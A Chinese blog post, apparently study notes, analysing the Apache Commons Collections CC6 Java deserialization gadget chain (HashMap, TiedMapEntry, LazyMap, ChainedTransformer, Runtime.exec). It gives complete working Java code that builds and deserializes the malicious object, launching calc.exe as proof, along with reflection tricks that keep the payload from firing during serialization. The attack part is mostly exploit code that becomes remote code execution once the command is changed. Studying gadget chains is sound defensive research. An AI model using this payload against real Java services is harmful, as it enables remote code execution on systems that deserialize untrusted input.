当前位置: 首页 > article >正文

Apache-CC6链审计笔记

java-CC6链审计笔记

一、审计过程

1、lazyMap

在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用

image-20250218210701660

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

所以只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则定义了factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递。

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

同时,还需要令 if (map.containsKey(key) == false) 条件满足,则说明Map对象中不能包含对应的Key值,则才会进入If语句中进行调用。

CC1扩展

接下来寻找谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,其中也包含AnnotationInvocationHandler

其实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler进行反序列化,同样不适用于新版本JDK,所以该链不进行审计。

2、TiedMapEntry

发现Common Collections库中的TiedMapEntry调用了get方法。

image-20250219091945857

谁在调用getValue方法,发现同类中的hashCode方法在调用。

image-20250219092303638

而哪里有hashCode呢,其实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap本身就重写了readObject,可以较好地实现反序列化和自动调用。所以CC6相对是比较容易理解的,而且不依赖于JDK版本,实用性也很高。目前确定的调用链如下:

java.io.ObjectInputStream.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

二、编写链条利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ApacheCC6 {
    public void CC6_ser() throws Exception {
        // transformer[]数组,相当于一下代码的执行。
    /*
        Class<Runtime> runtimeClass = Runtime.class;
        Method method = runtimeClass.getMethod("getRuntime", null);
        Runtime runtime = (Runtime) method.invoke(null);
        runtime.exec("calc.exe");
    */
        Transformer[] transformers = new Transformer[]{
                // 1.相当于Class<Runtime> runtimeClass = Runtime.class;
                new ConstantTransformer(Runtime.class),
                // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                // 3.相当于runtime = (Runtime) method.invoke(null);
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                // 4.相当于runtime.exec("calc.exe");
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 创建lazymap,并传入chainedTransformer对象
        /*
        LazyMap有一个静态方法可以让我拿到它的对象实例
        public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
        }
        */
        LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        // 创建TiedMapEntry对象,并绑定Lazymap对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");
        // 创建HashMap对象,并将TiedMapEntry作为Key进行处理
        Map<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry, "lingx5");
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);

    }
    public void unserializeCC6() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("运行完成");
    }
    public static void main(String[] args) throws Exception {
        ApacheCC6 cc6 = new ApacheCC6();
        cc6.CC6_ser();
        // cc6.unserializeCC6();
    };
}

image-20250219110438126

成功弹出计算机

这只是在序列化,并没有反序列化他就弹出了计算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

我们在下面解决这个问题

三、异常调试

由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时候就命令执行

Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

这个报错也是Runtime在执行方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错

我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。所以我们在lazyMap实例化的时候不传入ChainedTransformer对象,而是传入一个其他无意义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在进行序列化。

LazyMap实例化

LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

反射修改

Class<? extends LazyMap> Clazz = Lazymap.getClass();
Field factory = Clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazymap, chainedTransformer);

修改后

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ApacheCC6 {
    public void CC6_ser() throws Exception {
        // transformer[]数组,相当于一下代码的执行。
    /*
        Class<Runtime> runtimeClass = Runtime.class;
        Method method = runtimeClass.getMethod("getRuntime", null);
        Runtime runtime = (Runtime) method.invoke(null);
        runtime.exec("calc.exe");
    */
        Transformer[] transformers = new Transformer[]{
                // 1.相当于Class<Runtime> runtimeClass = Runtime.class;
                new ConstantTransformer(Runtime.class),
                // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                // 3.相当于runtime = (Runtime) method.invoke(null);
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                // 4.相当于runtime.exec("calc.exe");
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 创建lazymap,并传入chainedTransformer对象
        /*
        LazyMap有一个静态方法可以让我拿到它的对象实例
        public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
        */
        LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

        // 创建TiedMapEntry对象,并绑定Lazymap对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");
        // 创建HashMap对象,并将TiedMapEntry作为Key进行处理
        Map<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry, "lingx5");

        // 在执行put之后,反射修改LazyMap对象的factory属性
        Class<? extends LazyMap> Clazz = Lazymap.getClass();
        Field factory = Clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(Lazymap, chainedTransformer);

        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);

    }
    public void unserializeCC6() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("运行完成");
    }
    public static void main(String[] args) throws Exception {
        ApacheCC6 cc6 = new ApacheCC6();
        cc6.CC6_ser();
        cc6.unserializeCC6();
    };
}

现在没有报错了,但是他也不弹计算机了。我们调试一下看是哪里的问题

image-20250219124737295

看到if语句里的表达式为false,所以没有调用factory.transform(key)方法

这是因为在map.put(tiedMapEntry, “lingx5”)执行时,触发TiedMapEntry的hashCode方法调用LazyMap.get(“lingx5”)该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory仍是初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。

我们继续修改,把key(lingx5)删除

// 反射和直接删除都是可以的,因为remove的修饰符是public
		/*	反射删除
        Method remove = Clazz.getMethod("remove", Object.class);
        remove.invoke(Lazymap, "lingx5");
        */
		// 直接删除
        Lazymap.remove("lingx5");

四、最终代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ApacheCC6 {
    public void CC6_ser() throws Exception {
        // transformer[]数组,相当于一下代码的执行。
    /*
        Class<Runtime> runtimeClass = Runtime.class;
        Method method = runtimeClass.getMethod("getRuntime", null);
        Runtime runtime = (Runtime) method.invoke(null);
        runtime.exec("calc.exe");
    */
        Transformer[] transformers = new Transformer[]{
                // 1.相当于Class<Runtime> runtimeClass = Runtime.class;
                new ConstantTransformer(Runtime.class),
                // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                // 3.相当于runtime = (Runtime) method.invoke(null);
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                // 4.相当于runtime.exec("calc.exe");
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 创建lazymap,并传入chainedTransformer对象
        /*
        LazyMap有一个静态方法可以让我拿到它的对象实例
        public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
        */
        LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

        // 创建TiedMapEntry对象,并绑定Lazymap对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");
        // 创建HashMap对象,并将TiedMapEntry作为Key进行处理
        Map<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry, "lingx5");

        // 在执行put之后,反射修改LazyMap对象的factory属性
        Class<? extends LazyMap> Clazz = Lazymap.getClass();
        Field factory = Clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(Lazymap, chainedTransformer);
        // 删除名为ingx5的key
        /*
        Method remove = Clazz.getMethod("remove", Object.class);
        remove.invoke(Lazymap, "lingx5");
        */

        Lazymap.remove("lingx5");
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);

    }
    public void unserializeCC6() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("运行完成");
    }
    public static void main(String[] args) throws Exception {
        ApacheCC6 cc6 = new ApacheCC6();
        cc6.CC6_ser();
        cc6.unserializeCC6();
    };
}

image-20250219131859662


http://www.kler.cn/a/557988.html

相关文章:

  • PWR电源控制详解教程文章 ~内置初始化驱动代码!!!
  • 网络安全风险事件排名 网络安全事件划分
  • 网络运维学习笔记 012网工初级(HCIA-Datacom与CCNA-EI)某机构新增:GRE隧道与EBGP实施
  • 如何查询网站是否被百度蜘蛛收录?
  • CSS中块级格式化上下文(BFC)详解
  • windwos与linux环境下Iperf3带宽测试工具的安装、使用
  • 集合 数据结构 泛型
  • 【JavaScript】深入理解模块化
  • PHP 性能优化全攻略:提升 Web 应用速度的关键
  • SSH无密登录配置
  • Node.js Buffer 教程
  • Spring Boot (maven)分页4.0.2版本 专业版- 模板化最终版(测试)
  • Git常见面试题
  • 基于ffmpeg+openGL ES实现的视频编辑工具-添加转场(九)
  • /etc/docker/daemon.json这个跟/etc/yum.repos.d/docker-ce.repo这个文件的关系
  • WebXR教学 02 配置开发环境
  • Unity游戏制作中的C#基础(6)方法和类的知识点深度剖析
  • OpenFeign 实现远程调用
  • 新能源汽车核心元件揭秘:二极管、三极管结构与工作原理解析(2/2)
  • 【Deepseek+Dify】wsl2+docker+Deepseek+Dify部署本地大模型知识库问题总结